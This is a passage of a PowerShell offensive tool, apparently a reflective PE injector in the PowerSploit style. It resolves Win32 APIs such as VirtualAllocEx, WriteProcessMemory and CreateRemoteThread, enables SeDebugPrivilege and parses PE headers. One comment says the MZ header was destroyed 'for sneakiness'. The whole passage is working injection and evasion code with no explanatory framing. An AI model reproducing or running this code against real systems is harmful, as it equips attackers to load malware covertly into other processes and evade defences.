PAGE_WRITECOPY -Value 0x08\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2\n        $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0\n\n        return $Win32Constants\n    }\n\n    Function Get-Win32Functions\n    {\n        $Win32Functions = New-Object System.Object\n\n        $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc\n        $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])\n        $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)\n        $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc\n\n        $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx\n        $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])\n        $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)\n        $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx\n\n        $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy\n        $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])\n        $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy\n\n        $memsetAddr = Get-ProcAddress msvcrt.dll memset\n        $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])\n        $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset\n\n        $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA\n        $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])\n        $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary\n\n        $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress\n        $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])\n        $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress\n\n        $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself\n        $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])\n        $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr\n\n        $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree\n        $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])\n        $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)\n        $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree\n\n        $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx\n        $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])\n        $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)\n        $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx\n\n        $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect\n        $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])\n        $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)\n        $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect\n\n        $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA\n        $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])\n        $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)\n        $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle\n\n        $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary\n        $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])\n        $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary\n\n        $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess\n        $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])\n        $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess\n\n        $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject\n        $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])\n        $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject\n\n        $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory\n        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])\n        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory\n\n        $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory\n        $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])\n        $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory\n\n        $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread\n        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])\n        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread\n\n        $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread\n        $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])\n        $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread\n\n        $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken\n        $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])\n        $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken\n\n        $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread\n        $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])\n        $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread\n\n        $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges\n        $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])\n        $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges\n\n        $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA\n        $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])\n        $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue\n\n        $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf\n        $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])\n        $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf\n\n        # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP\n        if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {\n            $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx\n            $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])\n            $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)\n            $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx\n        }\n\n        $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process\n        $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])\n        $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process\n\n        $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread\n        $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])\n        $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)\n        $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread\n\n        return $Win32Functions\n    }\n    #####################################\n\n\n    #####################################\n    ###########    HELPERS   ############\n    #####################################\n\n    #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function\n    #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses\n    Function Sub-SignedIntAsUnsigned\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [Int64]\n        $Value1,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [Int64]\n        $Value2\n        )\n\n        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)\n        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)\n        [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)\n\n        if ($Value1Bytes.Count -eq $Value2Bytes.Count)\n        {\n            $CarryOver = 0\n            for ($i = 0; $i -lt $Value1Bytes.Count; $i++)\n            {\n                $Val = $Value1Bytes[$i] - $CarryOver\n                #Sub bytes\n                if ($Val -lt $Value2Bytes[$i])\n                {\n                    $Val += 256\n                    $CarryOver = 1\n                }\n                else\n                {\n                    $CarryOver = 0\n                }\n\n                [UInt16]$Sum = $Val - $Value2Bytes[$i]\n\n                $FinalBytes[$i] = $Sum -band 0x00FF\n            }\n        }\n        else\n        {\n            Throw \"Cannot subtract bytearrays of different sizes\"\n        }\n\n        return [BitConverter]::ToInt64($FinalBytes, 0)\n    }\n\n    Function Add-SignedIntAsUnsigned\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [Int64]\n        $Value1,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [Int64]\n        $Value2\n        )\n\n        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)\n        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)\n        [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)\n\n        if ($Value1Bytes.Count -eq $Value2Bytes.Count)\n        {\n            $CarryOver = 0\n            for ($i = 0; $i -lt $Value1Bytes.Count; $i++)\n            {\n                #Add bytes\n                [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver\n\n                $FinalBytes[$i] = $Sum -band 0x00FF\n\n                if (($Sum -band 0xFF00) -eq 0x100)\n                {\n                    $CarryOver = 1\n                }\n                else\n                {\n                    $CarryOver = 0\n                }\n            }\n        }\n        else\n        {\n            Throw \"Cannot add bytearrays of different sizes\"\n        }\n\n        return [BitConverter]::ToInt64($FinalBytes, 0)\n    }\n\n    Function Compare-Val1GreaterThanVal2AsUInt\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [Int64]\n        $Value1,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [Int64]\n        $Value2\n        )\n\n        [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)\n        [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)\n\n        if ($Value1Bytes.Count -eq $Value2Bytes.Count)\n        {\n            for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)\n            {\n                if ($Value1Bytes[$i] -gt $Value2Bytes[$i])\n                {\n                    return $true\n                }\n                elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])\n                {\n                    return $false\n                }\n            }\n        }\n        else\n        {\n            Throw \"Cannot compare byte arrays of different size\"\n        }\n\n        return $false\n    }\n\n\n    Function Convert-UIntToInt\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [UInt64]\n        $Value\n        )\n\n        [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)\n        return ([BitConverter]::ToInt64($ValueBytes, 0))\n    }\n\n\n    Function Get-Hex\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        $Value #We will determine the type dynamically\n        )\n\n        $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2\n        $Hex = \"0x{0:X$($ValueSize)}\" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.\n\n        return $Hex\n    }\n\n    Function Test-MemoryRangeValid\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [String]\n        $DebugString,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [System.Object]\n        $PEInfo,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [IntPtr]\n        $StartAddress,\n\n        [Parameter(ParameterSetName = \"Size\", Position = 3, Mandatory = $true)]\n        [IntPtr]\n        $Size\n        )\n\n        [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))\n\n        $PEEndAddress = $PEInfo.EndAddress\n\n        if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)\n        {\n            Throw \"Trying to write to memory smaller than allocated address range. $DebugString\"\n        }\n        if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)\n        {\n            Throw \"Trying to write to memory greater than allocated address range. $DebugString\"\n        }\n    }\n\n    Function Write-BytesToMemory\n    {\n        Param(\n            [Parameter(Position=0, Mandatory = $true)]\n            [Byte[]]\n            $Bytes,\n\n            [Parameter(Position=1, Mandatory = $true)]\n            [IntPtr]\n            $MemoryAddress\n        )\n\n        for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)\n        {\n            [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])\n        }\n    }\n\n    #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/\n    Function Get-DelegateType\n    {\n        Param\n        (\n            [OutputType([Type])]\n\n            [Parameter( Position = 0)]\n            [Type[]]\n            $Parameters = (New-Object Type[](0)),\n\n            [Parameter( Position = 1 )]\n            [Type]\n            $ReturnType = [Void]\n        )\n\n        $Domain = [AppDomain]::CurrentDomain\n        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')\n        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)\n        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)\n        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])\n        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)\n        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')\n        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)\n        $MethodBuilder.SetImplementationFlags('Runtime, Managed')\n\n        Write-Output $TypeBuilder.CreateType()\n    }\n\n\n    #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/\n    Function Get-ProcAddress\n    {\n        Param\n        (\n            [OutputType([IntPtr])]\n\n            [Parameter( Position = 0, Mandatory = $True )]\n            [String]\n            $Module,\n\n            [Parameter( Position = 1, Mandatory = $True )]\n            [String]\n            $Procedure\n        )\n\n        # Get a reference to System.dll in the GAC\n        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |\n            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll') }\n        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')\n\n        # Get a reference to the GetModuleHandle and GetProcAddress methods\n        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')\n        $GetProcAddress = $UnsafeNativeMethods.GetMethods() | Where {$_.Name -eq \"GetProcAddress\"} | Select-Object -first 1\n\n        # Get a handle to the module specified\n        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))\n\n        # Return the address of the function\n        try\n        {\n            $tmpPtr = New-Object IntPtr\n            $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)\n            Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))\n        }\n        catch\n        {\n            # Windows 10 v1803 needs $Kern32Handle as a System.IntPtr instead of System.Runtime.InteropServices.HandleRef\n            Write-Output $GetProcAddress.Invoke($null, @($Kern32Handle, $Procedure))\n        }\n    }\n\n    Function Enable-SeDebugPrivilege\n    {\n        Param(\n        [Parameter(Position = 1, Mandatory = $true)]\n        [System.Object]\n        $Win32Functions,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [System.Object]\n        $Win32Types,\n\n        [Parameter(Position = 3, Mandatory = $true)]\n        [System.Object]\n        $Win32Constants\n        )\n\n        [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()\n        if ($ThreadHandle -eq [IntPtr]::Zero)\n        {\n            Throw \"Unable to get the handle to the current thread\"\n        }\n\n        [IntPtr]$ThreadToken = [IntPtr]::Zero\n        [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)\n        if ($Result -eq $false)\n        {\n            $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\n            if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)\n            {\n                $Result = $Win32Functions.ImpersonateSelf.Invoke(3)\n                if ($Result -eq $false)\n                {\n                    Throw \"Unable to impersonate self\"\n                }\n\n                $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)\n                if ($Result -eq $false)\n                {\n                    Throw \"Unable to OpenThreadToken.\"\n                }\n            }\n            else\n            {\n                Throw \"Unable to OpenThreadToken. Error code: $ErrorCode\"\n            }\n        }\n\n        [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))\n        $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, \"SeDebugPrivilege\", $PLuid)\n        if ($Result -eq $false)\n        {\n            Throw \"Unable to call LookupPrivilegeValue\"\n        }\n\n        [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)\n        [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)\n        $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)\n        $TokenPrivileges.PrivilegeCount = 1\n        $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)\n        $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED\n        [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)\n\n        $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)\n        $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value\n        if (($Result -eq $false) -or ($ErrorCode -ne 0))\n        {\n            #Throw \"Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode\"   #todo need to detect if already set\n        }\n\n        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)\n    }\n\n    Function Create-RemoteThread\n    {\n        Param(\n        [Parameter(Position = 1, Mandatory = $true)]\n        [IntPtr]\n        $ProcessHandle,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [IntPtr]\n        $StartAddress,\n\n        [Parameter(Position = 3, Mandatory = $false)]\n        [IntPtr]\n        $ArgumentPtr = [IntPtr]::Zero,\n\n        [Parameter(Position = 4, Mandatory = $true)]\n        [System.Object]\n        $Win32Functions\n        )\n\n        [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero\n\n        $OSVersion = [Environment]::OSVersion.Version\n        #Vista and Win7\n        if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))\n        {\n            #Write-Verbose \"Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress\"\n            $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)\n            $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()\n            if ($RemoteThreadHandle -eq [IntPtr]::Zero)\n            {\n                Throw \"Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError\"\n            }\n        }\n        #XP/Win8\n        else\n        {\n            #Write-Verbose \"Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress\"\n            $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)\n        }\n\n        if ($RemoteThreadHandle -eq [IntPtr]::Zero)\n        {\n            Write-Error \"Error creating remote thread, thread handle is null\" -ErrorAction Stop\n        }\n\n        return $RemoteThreadHandle\n    }\n\n    Function Get-ImageNtHeaders\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [IntPtr]\n        $PEHandle,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [System.Object]\n        $Win32Types\n        )\n\n        $NtHeadersInfo = New-Object System.Object\n\n        #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness\n        $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)\n\n        #Get IMAGE_NT_HEADERS\n        [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))\n        $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr\n        $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)\n\n        #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.\n        if ($imageNtHeaders64.Signature -ne 0x00004550)\n        {\n            throw \"Invalid IMAGE_NT_HEADER signature.\"\n        }\n\n        if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')\n        {\n            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64\n            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit 